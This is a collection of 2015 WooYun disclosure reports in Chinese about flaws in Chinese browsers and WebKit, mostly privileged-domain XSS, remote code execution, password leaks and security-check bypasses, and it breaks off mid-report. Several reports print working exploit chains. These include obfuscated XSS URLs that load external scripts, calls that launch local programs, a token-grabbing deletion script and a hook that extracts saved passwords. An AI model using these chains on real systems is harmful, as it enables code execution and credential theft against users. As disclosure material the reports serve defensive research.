缺陷编号:wooyun-2015-0122628 漏洞标题:搜狗浏览器external接口漏洞 相关厂商:搜狗 漏洞作者: 路人甲 提交时间:2015-06-25 09:23 修复时间:2015-09-23 14:22 公开时间:2015-09-23 14:22 漏洞类型:非授权访问/认证绕过


漏洞说明
搜狗浏览器对external接口调用没有限制,任意html文件都可以调用。 当被恶意使用后,可以绕过广告拦截,实现自动打开任意url。 通过常规的windows.open方式自动打开url时,会触发弹窗拦截: 但利用该漏洞,通过external接口的方式自动打开http://www.2345.com却不会引发任何告警。 window.external.StartPageCall('navigate','http://www.2345.com/');
漏洞证明



修复方案: 对external.StartPageCall接口的调用者做域名限制,或者对允许通过StartPageCall打开的url做限制。

缺陷编号:wooyun-2015-0122502 漏洞标题:搜狗浏览器数据执行保护漏洞导致任意代码可执行 相关厂商:搜狗 漏洞作者: 路人甲 提交时间:2015-06-24 16:47 修复时间:2015-09-24 17:10 公开时间:2015-09-24 17:10 漏洞类型:远程代码执行


漏洞说明
微软在IE8及更高版本IE上,都已经强制打开了DEP。 而搜狗浏览器在安装了IE8的机器上,当使用IE内核打开网页时,DEP开启策略却存在问题,使得攻击者利用漏洞的成本大大降低,无需使用ROP、地址泄漏等高级手段,即可轻易实现shellcode在数据空间的随意执行。

系统版本:windows xp sp3,IE8,未打补丁 使用NDay: CVE-2012-1889 通过IE打开该poc,由于IE8默认开启了DEP,所以会崩溃。但在SogouExplorer里能够成功执行shellcode,无需使用ROP绕过DEP


漏洞证明



缺陷编号:wooyun-2015-0142830 漏洞标题:傲游浏览器设计缺陷可控制用户浏览器 相关厂商:傲游 漏洞作者: 隐形人真忙 提交时间:2015-09-22 22:37 修复时间:2015-12-26 00:16 公开时间:2015-12-26 00:16 漏洞类型:远程代码执行


漏洞描述
傲游浏览器一处设计缺陷导致浏览器被控制。 傲游浏览器最新版: 主要是云标签出问题,没有对title进行过滤,因为标签在maxthon.cn域下,所以利用
maxthon对象
可以进行浏览器的控制,包括修改获取填表用户名密码、修改浏览器代理、设置主页等功能。 漏洞如下: 在云推送功能下,没有对title进行有效过滤,访问http://127.0.0.1/1.html,代码如下: 测试中以设置浏览器主页为例,加载外部的js,绕过长度限制。 1.js:
url = "http://www.qq.com"; maxthon.browser.config.ConfigManager.set("maxthon.config","browser.general.startpage",url); alert('start page is www.qq.com now!')
上面代码作用为设置浏览器主页的代码,设置为www.qq.com。 在使用云推送功能的时候,没有对title进行过滤: 不是特权域,所以暂时不能执行命令,但是注意到在maxthon.cn域下,所以可以对浏览器进行控制。 加载外部js后,可以看到主页修改:
漏洞证明

修复方案: 修复云推送功能中存在的XSS 继续控制maxthon.cn下的权限

缺陷编号:wooyun-2015-0140915 漏洞标题:傲游浏览器命令执行漏洞(特权域xss) 相关厂商:傲游 漏洞作者: 隐形人真忙 提交时间:2015-09-13 17:22 修复时间:2015-12-15 13:26 公开时间:2015-12-15 13:26 漏洞类型:远程代码执行


漏洞说明
傲游浏览器设计存在缺陷,存在特权域XSS,结合API可进行命令执行。 紧跟大牛的步伐挖洞! 从
MxWebkit.dll
中发现了一些特权域: 在查看
mx://res/error/danger_site.htm
特权域时发现有对URL的处理: 访问
mx://res/error/danger_site.htm?javascript:alert(document.domain)
,发现支持javascript协议: 在特权域中,用户要进行点击触发漏洞,由于新版本的浏览器限制了external中的
mxCall函数
的调用,所以利用本地域加载特权域,并使用点击劫持的方法进行利用受到了限制。 为了增大用户中招的概率,可以利用maxthon.cn域下的XSS设置含有XSS的特权域为主页。 在maxthon.cn下,都可以对
maxthon对象
进行调用,从而修改浏览器的一些配置,比如代理、主页、快捷键等等。 设置主页的代码如下: test.js:
url = "mx://res/error/danger_site.htm?javascript:eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,115,46,115,114,99,61,34,109,120,58,47,47,114,101,115,47,110,111,116,105,102,105,99,97,116,105,111,110,47,34,59,115,46,111,110,108,111,97,100,61,102,117,110,99,116,105,111,110,40,41,123,115,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,109,97,120,116,104,111,110,46,112,114,111,103,114,97,109,46,80,114,111,103,114,97,109,46,108,97,117,110,99,104,40,34,67,58,47,119,105,110,100,111,119,115,47,115,121,115,116,101,109,51,50,47,99,97,108,99,46,101,120,101,34,44,34,34,41,125,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))"; maxthon.browser.config.ConfigManager.set("maxthon.config","browser.general.startpage",url);
下面缺一个XSS,神器扫:

http://pay.maxthon.cn/bill99.php?gname=maxthon/">&g_server=maxthon

利用XSS加载外部JS执行主页设置代码,这里的XSS比较坑爹,设置了长度限制,但是可以使用匿名函数的方法执行我们的代码,使用
Function(URL)()

\u2028
执行超长JS代码:

http://pay.maxthon.cn/bill99.php?gname=maxthon%22/%3E%3Csvg/onload=Function(document.URL)()%3E#【\u2028】var s=document.createElement("script");s.src="http://1.exploitcat.sinaapp.com/test.js";document.body.appendChild(s);


漏洞证明
再次打开浏览器,看到带有XSS的特权域页面被设置成为主页,执行命令效果如下:

缺陷编号:wooyun-2015-0122123 漏洞标题:傲游浏览器最新版远程代码执行附过程分析 相关厂商:傲游 漏洞作者: 梧桐雨 提交时间:2015-06-22 17:14 修复时间:2015-09-20 17:26 公开时间:2015-09-20 17:26 漏洞类型:远程代码执行


漏洞说明
之前更新的好猛,直接把前面的一些手里无需交互的给fix掉了,但是这几天仔细研究,绕过了之前的瓶颈,可以通过一些猥琐技巧来继续实现远程代码执行。 先来看看版本号:v4.4.5.3000 通过之前漏洞的洗礼,傲游在订阅的地方已经不能执行本地命令了,统一的将
document.domain设置成了about:blank
。这使得我前面找到的bypass标签作废。 经过一番研究,定位到一处可以点击的地方:
about:last
通过一些测试,发现这里当出现javascript://协议的时候,这个域是res: 而真正的about:blank,则为空,譬如你们之前修复的about:reader: 顺藤摸瓜,找到对应的js看看他是怎么过滤的:
function encodeHtml(A) { return A.replace(/\&/ig, "&").replace(/\>/ig, ">").replace(/\ 由于这里仅仅只是粗暴的过滤了&<>等符号,但是并没有对(),以及javascript协议进行限定。 那么我们如何让用户去自己写入javascript://协议呢?我们可以通过window.open()让用户访问一个恶意地址,接着弹出一个新窗口,通过对浏览器关闭或者重定向,让用户访问过的window.open()里面的地址写入到
about:last
里。 思路有了,我们可以构造代码:
window.open('javascript:var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow.maxthon.program.Program.launch("C:/windows/system32/calc.exe","")};document.body.appendChild(s);')
这样,下次用户再打开
about:last
的时候,点击新标签页面,就能执行本地的命令:
漏洞证明
弹出calc.exe 同理可以执行本地的任意程序。 那么这个漏洞的关键在于如何让漏洞更好用一些,这里有2点。 1,通过异常,将傲游浏览器崩溃掉,下次打开就会
自动弹出上次未关闭的页面
。 2,通过傲游浏览器*.maxthon.cn下的xss
api修改打开第一次的首页
。 由于你们对你们的反射型xss并不是很重视。 在 WooYun: 傲游浏览器设计缺陷可导致读取用户收藏/历史记录等敏感信息(wooyun-2015-0113401) 给你们提交了,你们仅仅只是修复了my.maxthon.cn的xss,对skin.maxthon.cn并未修复。 因此结合上面这些点,构造url如下:

http://skin.maxthon.cn//swfupload/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;maxthon.browser.config.ConfigManager.set("maxthon.config","browser.general.multihomepage", '
');window.open('javascript:var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow.maxthon.program.Program.launch("C:/windows/system32/calc.exe","")};document.body.appendChild(s);')}};//

当用户访问之前: 访问上面的url之后: 下次打开浏览器,点击链接执行任意本地程序:

缺陷编号:wooyun-2015-0135071 漏洞标题:遨游浏览器远程代码执行(V4.4.7.1000) 相关厂商:傲游 漏洞作者: roker 提交时间:2015-08-18 17:50 修复时间:2015-11-16 18:28 公开时间:2015-11-16 18:28 漏洞类型:远程代码执行


漏洞说明
官网下的最新版。 V4.4.7.1000。无条件 fuzz出奇迹。 看了下往期的漏洞,大部分是在res处的。 这个漏洞还是在这个点。。 一顿fuzz后发现 如下代码弹框了~
<img src=x onerror=alert(1)> x x
看下location.href

mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm

然而这个路径是不允许 調用
maxthon.program
的。 那我们就 iframe 这个
mx://res/notification/
来調用。 最终poc
maxthon test page (V4.4.7.1000)<img src=x onerror='var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow.maxthon.program.Program.launch("C:/windows/system32/calc.exe","")};document.body.appendChild(s);'> x x

漏洞证明
ok,成功。

缺陷编号:wooyun-2015-0141347 漏洞标题:115浏览器设计缺陷可导致远程窃取用户系统上的任意文件 相关厂商:115网盘 漏洞作者: 数据流 提交时间:2015-09-15 17:19 修复时间:2015-12-14 21:32 公开时间:2015-12-14 21:32 漏洞类型:设计错误/逻辑缺陷


漏洞说明
这漏洞两个月前发现的了..我只能说这利用比较猥琐...现在115网盘要强制用115浏览器才能登陆了 (┬_┬)好狠啊,抓住了人们的刚需 结合了三处缺陷才能触发 一: 115浏览器结合了115网盘,提供了在浏览器直接登陆115账号的功能 而在浏览器的下载模块添加了115网盘的上传功能 在浏览器登陆115账号的用户可以直接通过浏览器上传本地文件到网盘 分析一下
chrome://downloads/#upload
的上传功能引用了

http://115.com/static/browser/download/js/upload.js

那么就代表只要取得115.com的域就有可能操作
chrome://downloads/#upload
先看看upload.js
var init = function () { _TCache.Uploader = window
; if (_TCache.Uploader) { UPLOAD_CONFIG_NEW.target = "U_1_0"; UPLOAD_CONFIG_NEW
= 2; UPLOAD_CONFIG_NEW
= { "2": "0-67108864", "1": "67108864-0" }; ...... Install: function () { if (!window
) { alert('控件未初始化'); return false; } return true; } } ......
里面的方法很多 直接调用
uploadInterface.CreateUploadDragTask
方法来上传文件
function (path, target) { native function NativeCreateUploadDragTask(); return NativeCreateUploadDragTask(path, target);}
target就是初始化配置里面的
UPLOAD_CONFIG_NEW.target = "U_1_0";
代表在网盘的目录ID
uploadInterface.CreateUploadDragTask("C:\/xxx","U_1_0")
这样就能调用浏览器的上传了 二:上传文件的方法分析出后就要找特权域了 刚才提到115.com就是了,直接在主站找到一个反射xss

http://115.com/xhprof/callgraph.php?run=xxx

但是有chrome 的xss auditor 最近老外爆出的一个bypass也过不了

这个bypass在最新版的chrome都过了,但是在115浏览器就过不了。 后来经@phithon给的一个旧版chrome的bypass绕过了,因为115内置的chrome版本比较老,所以最新的bypass对他也不适用。 最后得出的bypass是因为chrome对ISO-2022字符编码没有进行检测 所以可以利用ISO-2022的编码来绕过

http://115.com/xhprof/callgraph.php?run=%3Cmeta%20charset=ISO-2022-KR%3E%3Cimg%20src=1%20onerror%0f=alert(1)%3E

(此tip在三年前就被老外提出了,现在在chrome早已修复,但有些使用较旧chrome内核的浏览器有可能存在) 三: 特权域上的xss解决了。另外由于文件是上传到对方账号的网盘上,所以我们要登陆到对方的网盘才可以拿到我们窃取的文件。本来是想着直接利用xss到cookie就可以登陆别人网盘拿到窃取到的东西了,但却发现115启用了httponly 然后就找了好几天能
突破httponly
的地方,但没有找到.后来就想到了一个猥琐的方法,把对方登陆的网盘账号,换成自己的网盘账号,不就可以拿到盗窃的文件了. 这里就想到用
csrf的方式
来登陆自己的账号,也不需要去分析115的登陆加密算法 登陆时直接抓包 把所有字段都写成一个表单自动提交 最后给出EXP:
115 Browser Test by 数据流

以上表单上的字段都要自己抓包去替换哦,生成出来的登陆包数据是长期有效的,短时间内不会失效,可以重复使用登陆. 成功窃取到指定路径的文件 顺便把代码放到我的服务器上吧 测试地址:http://115browser.com/115_getfile_wooyun.html
修复方案: 1 修复主站XSS 2 加强边界权限控制 厂商回复: 这实质上属于CSRF攻击,利用手法很精彩!但是攻击成本比较高。 1)由于验证机制不断加强,采用Cookie登陆等方式基本无效,同时高质量的XSS也很少,所以此处作为CSRF利用; 2)客户端加密也在升级中,有几处登陆字段验证暂时没开启,很快上线了; 3)最后利用步骤比较麻烦,需要穷举相关文件是否存在。 客户端APP和浏览器还在不断升级中!感谢支持! :) 赞下洞主的研究精神。

缺陷编号:wooyun-2015-0134094 漏洞标题:百度浏览器新功能某域下可以构造一处xss(结合特定网站) 相关厂商:百度 漏洞作者: keny 提交时间:2015-08-14 15:36 修复时间:2015-10-01 15:26 公开时间:2015-10-01 15:26 漏洞类型:xss跨站脚本攻击


漏洞说明
在浏览到一个500的页面之后 突然发现百度浏览器跳出了一个功能,"网页云修复" 这个功能有个特点吸引了我的好奇心! 特点就是 在
bdbrowser://snapshot/
后面是网址 所以联想到 那带有xss的网站执行之后会发生什么。 我找了一个菜刀里面的站点 传了个带有xss html页面! 从上图的URL可以看出前面是bdbrowser://snapshot/ 先来看下我菜刀的网站那个xss页面 利用网站: http://www.zxssyxx.com/kindeditor/attached/image/20140929/html.html
漏洞证明
现在把这个站的xss页面加进去!

bdbrowser://snapshot/?cache=http://www.zxssyxx.com/kindeditor/attached/image/20140929/html.html&url=javascript:alert(1)

好可爱的功能!

缺陷编号:wooyun-2015-0144510 漏洞标题:百度浏览器插件存在缺陷导致XSS 相关厂商:百度 漏洞作者: 隐形人真忙 提交时间:2015-10-02 16:27 修复时间:2016-01-11 15:32 公开时间:2016-01-11 15:32 漏洞类型:远程代码执行


漏洞说明
百度浏览器某插件XSS 最近翻了翻百度浏览器,发现有个百度云收藏插件,下载量挺多的: 在浏览器中,主要是为了收藏一些网页到百度网盘中的百度文章里,用邪恶的title测试一下,发现存在XSS,在搭建的http域下居然可以控制**.**.**.**。 测试一下获取**.**.**.**的bdstoken:
<img src=x onerror=alert(window.__CONF__.bdstoken)> xss
找了一圈,发现虽然不能拿到BDUSS,但是结合前面的bdstoken和一些DOM操作可以做一些其他的事情,比如浏览文章列表,删除文章等操作,下面以删除一篇文章为例: 删除文章测试代码: 本地1.html:
<img src=x onerror="var s=document.createElement('script');s.src='http://**.**.**.**/baidu.js';document.body.appendChild(s);"> xss
使用该插件对这个网页进行收藏,就可以触发外部js,baidu.js:
var f = document.createElement("iframe") ; f.src = "http://**.**.**.**" ; document.body.appendChild(f) ; f.onload = function(){ var d = f.contentDocument; var w = f.contentWindow ; var bdstoken = w.__CONF__.bdstoken ; var keys =
; var s = w.document.body.getElementsByClassName("__unitList clearfix") ; var nodes = s
.childNodes ; console.log(nodes) ; for(i in nodes){ if(nodes
.nodeName == 'LI'){ keys.push(nodes
.id.substr(4)) ; } } console.log(keys); data = "param={\"records\":
+ "\"]}&bdstoken=" + bdstoken ; var xmlhttp = null; xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function(){ if (xmlhttp.readyState == 4) { if (xmlhttp.status == 200) { var responseText = xmlhttp.responseText; var w = parseDom(responseText) ; console.log(w); } } } ; url = "http://**.**.**.**/fav/delete" xmlhttp.open("POST", url, true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send(data); }
还可以查看文章列表: Baidu.js:
var w = f.contentWindow ; var titles =
; var s = w.document.body.getElementsByClassName("__unitList clearfix") ; var nodes = s
.childNodes ; for(i in nodes){ if(nodes
.nodeName == 'LI'){ var t = nodes
.childNodes
.childNodes
.getElementsByTagName("h4")
.getElementsByTagName("a")
.text ; titles.push(t + "\n") ; } } alert(titles) ;

漏洞证明
rank多给点儿行吗,用不了乌云搜索真蛋疼....

缺陷编号:wooyun-2015-0120622 漏洞标题:UC浏览器无线传输功能的一个小问题 相关厂商:UC Mobile 漏洞作者: wolf 提交时间:2015-06-15 16:09 修复时间:2015-09-14 11:00 公开时间:2015-09-14 11:00 漏洞类型:设计错误/逻辑缺陷


漏洞说明
测试环境:iphone最新版UC浏览器 问题:下载管理-文件管理的无线传输功能存在用户下载文件列表信息泄露问题 开启无线传输功能后,浏览器会生成一个随机密码,正常情况下用户需要输入这个密码后才能访问管理文件。 这是通过电脑浏览器访问的登录界面
漏洞证明
随意输入密码,查看返回包内容。发现登录验证返回的包内容里存在用户已下载文件列表信息。 直接访问 http://192.168.0.113:8080/?action=Auth&authcode=111111&t=1434349686078

缺陷编号:wooyun-2015-0119054 漏洞标题:2345王牌浏览器&极速浏览器设计缺陷可导致跨域获取用户信息/读取用户收藏夹 相关厂商:2345网址导航 漏洞作者: 梧桐雨 提交时间:2015-06-08 17:26 修复时间:2015-09-11 17:29 公开时间:2015-09-11 17:29 漏洞类型:设计错误/逻辑缺陷


漏洞说明
发现你们更新6.0了,但是有一些细节更新反而产生了漏洞。 2345 6.0浏览器引入了chrome内核(安全浏览器),也就是和极速浏览器一样,早在一个月之前对他的挖掘就已经挖出了一枚特权域的xss。 我们一个个来看看。 1)2345浏览器允许创建新标签页,里面有一个九宫格,存在一个当前访问的网页(通过这个我能知道每次触发漏洞的时候你都在看些什么网页,同时,收藏夹也在这,所以可以一并读取) 2)
newtabs域
存在一个xss,当收藏我构造好的poc之后,就可以触发1漏洞。 代码如下:
"></textarea></div></script><img src=1 onerror='for(var i=0;i<=document.getElementsByClassName("url-often").length;i++){ alert(document.getElementsByClassName("url-often")<br />.innerHTML)}'>

漏洞证明
审核人员嫌麻烦,也可以访问我构造好的: http://wutongyu.info/xsstest.htm 当用户收藏了之后,下次打开浏览器,尝试添加新网址的时候: 读取收藏夹 读取现在正在访问的网页 上面是加速浏览器的,下面是王牌浏览器(都是同一套设计逻辑,问题是一样的不重复报了)

缺陷编号:wooyun-2015-0113365 漏洞标题:2345浏览器密码保存风险 相关厂商:2345网址导航 漏洞作者: 路人甲 提交时间:2015-05-20 17:55 修复时间:2015-08-19 10:36 公开时间:2015-08-19 10:36 漏洞类型:非授权访问/认证绕过


漏洞说明
2345浏览器密码保存风险,可能导致密码被其它网站读取。 密码是浏览器用户最重要的敏感信息,浏览器密码保存功能非常方便记录密码。密码保存至少要遵守同源策略机制。 但2345浏览器的密码保存机制违背了同源策略机制。 经测试至少存在下面2点问题: 1. 类似xxx.sinaapp.com 可以读取 yyy.sinaapp.com的保存密码,虽说都是同一个顶级域名,但是二级域名在很多情况下是完全不同的网站,例如免费花生壳等域名、大学或机构的不同网站等等。 而且xxx.sinaapp.com可以被*.sinaapp.com读取,如果sinaapp.com下任何一个网站任一页面存在xss等漏洞(xss读取保存密码很简单),都可以窃取xxx.sinaapp.com的保存密码。 2.类似xxx.com:80可以被xxx.com:888等不同端口读取: 同源策略是浏览器遵循的基本规则,同源策略里面,不同端口意味着不同源,因此此处也是违背同源策略。
漏洞证明
1.用个实际的网站 http://fansmanage.sinaapp.com/accountsmanage 随便填个用户名密码,安全保存,然后访问 http://ccomkjwyh.sinaapp.com/ 可看到:ccomkjwyh.sinaapp.com读取了fansmanage.sinaapp.com的密码,两个网站显然是不同的站点。 2.本地搭个服务器,80端口和88端口,有用户密码登录窗口即可。 80端口保存密码,打开88端口用户密码登录窗口。 可看到:88端口页面读取了80端口页面的密码。
修复方案: 严格按照同源策略来保存密码。

缺陷编号:wooyun-2015-0113636 漏洞标题:2345浏览器设计缺陷可导致远程代码执行 相关厂商:2345网址导航 漏洞作者: 梧桐雨 提交时间:2015-05-12 13:40 修复时间:2015-08-10 17:12 公开时间:2015-08-10 17:12 漏洞类型:远程代码执行

2345 浏览器更新到最新版: 目前的2345浏览器,依旧是允许javascript://伪协议来定义主页神马的,但是这些都不是本文的重点。重点是一个比较严重的设计缺陷导致命令执行。 在之前提交的案例之中,我摸索着怎么去调试一些poc。在我测试2345网络收藏夹的时候,惊讶的发现,我里面的链接居然是可以执行命令的: 也就是说,此处我们并不是传统的2345://,也不是传统的特权域,但是因为Javascript://协议的关系,导致直接调用2345://协议,即本地域,去执行代码,这样一来,危害就很大了。 但是经过详细测试之后,发现并不是所有域都能这么做,模糊测试之后,发现*.2345.com下的xss可以实现这样的功能。 因此我们需要找到.2345.com域的一个xss,这对我们来说并不是什么难事。 http://skin.chrome.2345.com/?a=%3Cimg%20src=1%20onerror=alert(1)%3E 此处xss会被chrome拦截,而2345浏览器默认配置不会拦截: 特权域有了,知道该怎么做了。 构造缺陷代码:
var f=document.createElement("a");f.href='javascript:WSH=new ActiveXObject("WScript.Shell");WSH.run("calc.exe")';document.body.appendChild(f);f.click();
具体可看: http://wutongyu.info/alert.js 虽然是a标签点击才能触发,但是我们完全可以通过js的click()函数实现自动触发。 变形之后生成链接:

http://skin.chrome.2345.com/?a=%3Cimg%20src=1%20onerror=eval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,119,117,116,111,110,103,121,117,46,105,110,102,111,47,97,108,101,114,116,46,106,115);document.body.appendChild(window.s)')%3E


漏洞证明
用最新版2345浏览器访问上述url:
修复方案: 重新考量javascript://协议在你们浏览器中的危害,任意网站调用a href="javascript://"的时候应该在a当前网站打开。 修补此处xss,不过似乎有点治标不治本。

缺陷编号:wooyun-2015-0111917 漏洞标题:360安全卫士/极速浏览器/安全浏览器最新版网址安全检查绕过漏洞 相关厂商:奇虎360 漏洞作者: 路人甲 提交时间:2015-05-04 12:24 修复时间:2015-08-06 18:50 公开时间:2015-08-06 18:50 漏洞类型:设计错误/逻辑缺陷


漏洞说明
360安全卫士、极速浏览器、安全浏览器最新版网址安全检查绕过,相互配合,可伪造360主动提示可信网站。 360极速浏览器、360安全浏览器默认开启网站名片的功能,网站名片在页面刚跳到某地址但并未返回消息或加载完时即可显示该网站名片,此处存在安全风险。 360安全卫士网购保镖也存在同样的问题,在页面页面刚跳到某地址但并未返回消息或加载完时即提示该网站安全、360正保护网购安全,此处存在同样的安全风险。 风险场景: A页面含有跳转到B的代码,若B页面未加载则依然显示A页面,但网站名片及网购保镖已经提示A页面安全了。利用加载时间(有的长达10多秒)或者一些302等异常跳转可以在A页面上做很多事情,因为360各种提示已经表明该页面是安全的。 漏洞利用条件在于寻找加载时间比较长的网址或者异常302跳转,一般5秒及以上的就可以做很多事情了,符合条件的应该不太难找。
漏洞证明
以淘宝为例
Fake Taobao
以上仅是简单的PoC,js有很多花样,可以玩的更好。

缺陷编号:wooyun-2015-0111199 漏洞标题:QQ浏览器扩展机制设计缺陷可获取内置帐号助手功能所记住的其它网站密码 相关厂商:腾讯 漏洞作者: gainover 提交时间:2015-04-30 05:34 修复时间:2015-07-29 10:48 公开时间:2015-07-29 10:48 漏洞类型:设计错误/逻辑缺陷

1. 首先说说chrome扩展开发里的content script,引用360浏览器开放平台里的翻译文字(http://open.chrome.360.cn/extension_dev/content_scripts.html) “Content script是在一个特殊环境中运行的,这个环境成为isolated world(隔离环境)。它们可以访问所注入页面的DOM,但是不能访问里面的任何javascript变量和函数。 对每个content script来说,就像除了它自己之外再没有其它脚本在运行。 反过来也是成立的: 页面里的javascript也不能访问content script中的任何变量和函数。” 2. 简言之,content script需要与WEB页面之间需要一定的隔离措施,否则会产生问题。QQ浏览器自己实现了一套类似于chrome扩展的机制,也有content script,
那么QQ浏览器的content script是否做好了隔离措施呢?
3. 带着这个疑问,首先看看QQ浏览器注入的某一段content script: 可以看到调用了
var scriptId = document.documentElement.getAttribute('ecdfbieajbfacebidaiabaibbcddbcfi_h');
4. 如果没有做好隔离,我们自己写一个简单的页面来测试一下? 利用此段代码来覆盖
document.documentElement.getAttribute
函数,
document.documentElement.getAttribute=function(a){ alert(a); }
如下图所示: 可以看到,这说明QQ浏览器并没有做好隔离措施,页面JS代码覆盖后的
getAttribute
函数,被content script成功调用! 5. 但是,就算我们能通过覆盖某个函数来劫持content script里的调用,我们可以做什么有“危害”的事情呢? 有哪些利用方式,你们自己想!本案例说的就是其中一种情况! 首先我们hook住某个可能被content script调用的函数 比如:
setTimeout

var m=setTimeout; window
=function(a,t){ alert(a) m(a,t); }
看看弹出的内容: 看起来并没有什么用途! 6. 我们换个姿势,看看
setTimeout

caller
是什么函数?
var m=setTimeout; window
=function(a,t){ alert(arguments.callee.caller) m(a,t); }
这一次弹出了一个
handleInit
函数, 这个函数有没有什么用处呢?通过一段时间分析发现,这段content script是来自QQ浏览器的帐号助手功能。 它首先会调用
handleInit
函数去初始化
GlobalVar
这个配置变量的值, 之后则会调用
handleFill
函数去填充当前的表单! 7. 注意看以下这些代码:
function handleInit(response){ ... GlobalVar.tabUrl = response.data.tabUrl; GlobalVar.tabHostname = response.data.tabHostname; GlobalVar.tabTitle = response.data.tabTitle; ... } ... sendBG({ cmd : "fill" }); ... function sendBG(msg) { //TODO:指定top有farm跨域问题,不指定可能会导致记录错页面 // msg.title = window.top.document.title; // msg.url = window.location.href; msg.title = GlobalVar.tabTitle||document.title; msg.url = GlobalVar.tabUrl||window.location.href; msg.hostname = GlobalVar.tabHostname||window.location.hostname; //msg.title = window.document.title; qqbrowser.extension.sendMessage(msg, function(response) { handleResponse(response); }); }
可以看到
sendBG
发送填充命令时,发送的msg参数里的title,url,hostname等值均是来自
GlobalVar
,只有当
GlobalVar
里相应属性不存在时,才会从
document.title

window.location.href

window.location.hostname
里取值。 8. 问题来了,如果我们在自己的页面调用一次 handleInit ,就可以任意修改下面这3个属性的值。
GlobalVar.tabUrl = response.data.tabUrl; GlobalVar.tabHostname = response.data.tabHostname; GlobalVar.tabTitle = response.data.tabTitle;
最终页面填充表单的数据,将会根据
GlobalVar.tabHostname

GlobalVar.tabUrl
等值来获得! 怎么调用
handleInit
?上面已经说到了
arguments.callee.caller
其实就是指向的handleInit函数: 代码如下:
var i=0; var m=setTimeout; window
=function(a,t){ //防止重复调用,陷入死循环 .. //见最后测试代码部分 }
运行后,可以看到QQ空间的登录QQ号和密码都出现在了我们当前页面的文本框中! 当然,在此之前,你需要登录过QQ空间,并且记住了密码! 9.至于从文本框里读取所获取的密码,就不表了! 10. 进一步,可能会有一个网站有多个帐号,比如QQ空间有好几个人登录过! 我们怎么获取所有该网站下所有记住的密码呢?比如下面QQ空间这种有2个登录帐号的情况! 11. 嗯!方法是有的,进一步劫持内部函数!原理一样,这次劫持
JSON.parse

var JSON2=JSON; var JSON={}; JSON.parse=function(a){ alert(a); return JSON2.parse(a); }; JSON.stringify=function(a){ return JSON2.stringify(a); };

漏洞证明
可以看到,这次可以截获到2个登录密码数据! 12. 继续!如果你拿着上面的劫持代码,到装有IE8的机器上,可能会看不到效果!这是因为,在IE8中,
setTimeout=function(){alert(1)}
这种覆盖操作,是不会成功的! 因此,我们需要小小的绕过一下,
eval("var setTimeout;"); setTimeout=function(){alert(1)}

缺陷编号:wooyun-2015-0102940 漏洞标题:WebKit 处理疏忽造成浏览器 crash 相关厂商:WebKit 漏洞作者: kamael 提交时间:2015-03-25 14:32 修复时间:2015-05-09 14:34 公开时间:2015-05-09 14:34 漏洞类型:拒绝服务


漏洞说明
WebKit 对 JS 代码处理疏忽导致可以设计恶意页面导致用户浏览器 crash。 该问题在所有使用 JavascriptCore(也就是WebKit原生配套JS引擎)的浏览器(比如 Safari)和库里都存在。 PoC:

WebKit在对事件和内嵌入代码进行绑定时,使用如下方式:
(function(event) {
}\n)
其中 code 为我们写入的代码。 代码里并没有检测闭合。 但是在代码即将被执行前,WebKit 会做一个检查,检查该代码是否是一个单一的函数,如果不是,则直接 crash 掉。 crash 代码在
http://trac.webkit.org/browser/trunk/Source/JavaScriptCore/runtime/CodeCache.cpp#L156
156行。由于组合后不是单一函数,
statement = 0x0
,于是 crash。
// This function assumes an input string that would result in a single function declaration. 155 StatementNode* statement = program->singleStatement(); 156 ASSERT(statement); 157 ASSERT(statement->isBlock()); 158 if (!statement || !statement->isBlock()) 159 return nullptr;

漏洞证明
以下代码插入页面中, 用 WebKit 内核浏览器访问即可。


修复方案: 这里返回空函数,或者在拼接之前进行 Parse 合法性检查就好了,直接页面崩溃不太好吧。。

缺陷编号:wooyun-2015-0102745 漏洞标题:2345浏览器HD版远程命令执行 相关厂商:多特 漏洞作者: 菊花侠 提交时间:2015-03-24 18:21 修复时间:2015-06-23 11:06 公开时间:2015-06-23 11:06 漏洞类型:远程代码执行

访问乌云Webview检测页面,发现了漏洞 构造一个弹窗写文件的Exp
test

漏洞证明

缺陷编号:wooyun-2015-0102031 漏洞标题:猎豹安全浏览器本地文件读取 相关厂商:金山软件集团 漏洞作者: 路人甲 提交时间:2015-03-18 10:01 修复时间:2015-06-16 10:56 公开时间:2015-06-16 10:56 漏洞类型:设计错误/逻辑缺陷


漏洞说明
上述流程中每一个点的说明如下: 1. tuan.duba.com的XSS

http://tuan.duba.com/category/?cateid=3&city_code=aaaaaaaaaaaaaaaa#0

这个dom xss缺陷代码位于 http://tuan.duba.com/adminstatic/images/ad/show.js
$(document).ready(function(){ var hash = window.location.hash.toString(); if(hash&&hash!="#"){ if( hash.indexOf("#") >-1){ hash = hash.replace("#",""); } var hash2 = parseInt(hash,10); if(isNaN(hash2)){ //非数字则表示排行榜 //$("#"+hash).Mwt_tip_box({width:"190px",height:"250px",border_color:"#ffa300"}); }else{ $("#"+hash).Mwt_tip_box({width:"270px",height:"301px",border_color:"#D9020C"}); } } });
可见代码对hash部分
parseInt
后,进行了
isNaN(hash2)
的判断,所以

前面加了一个 数字(0),就绕过了这处判断,导致XSS。 2. 猎豹浏览器的设计中,只要所访问的crx是皮肤文件(
manifest.json
里的theme属性为true)时,则不会有交互提示,而直接安装皮肤,这使得我们可以通过这种方式,静默的写入一些文件到本地,比如html,这里我们在皮肤压缩包里打包了一个xss.html

然后生成chrome的crx文件: 只需要
location.href="http://xxxxxx.com/xxx.crx"
即可将
xxx.crx
里的内容释放到形式如下的目录路径中:
C:\Documents and Settings\Administrator\Local Settings\Application Data\liebao\User Data\Default\Extensions\皮肤ID\版本_0\xss.html
其中“版本”与
manifest.json
